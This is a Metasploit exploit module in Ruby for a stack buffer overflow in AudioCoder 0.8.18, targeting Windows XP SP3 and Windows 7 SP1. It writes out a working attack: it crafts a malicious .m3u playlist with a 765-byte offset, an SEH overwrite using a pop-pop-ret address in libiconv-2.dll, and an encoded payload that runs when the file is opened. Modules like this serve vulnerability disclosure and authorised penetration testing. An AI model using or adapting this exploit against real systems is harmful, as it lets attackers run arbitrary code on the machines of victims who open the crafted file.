AudioCoder .M3U Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AudioCoder .M3U Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability  
occurs when adding an .m3u, allowing arbitrary code execution with the privileges  
of the user running AudioCoder. This module has been tested successfully on  
AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '92939' ],  
[ 'EDB', '25141' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 6596,  
'BadChars' => "\x00\x5c\x40\x0d\x0a",  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x66011b56, # ppr from libiconv-2.dll  
'Offset' => 765  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 01 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),  
], self.class)  
  
end  
  
def exploit  
buffer = "http://"  
buffer << rand_text(target['Offset'])  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
  
file_create(buffer)  
end  
end  
`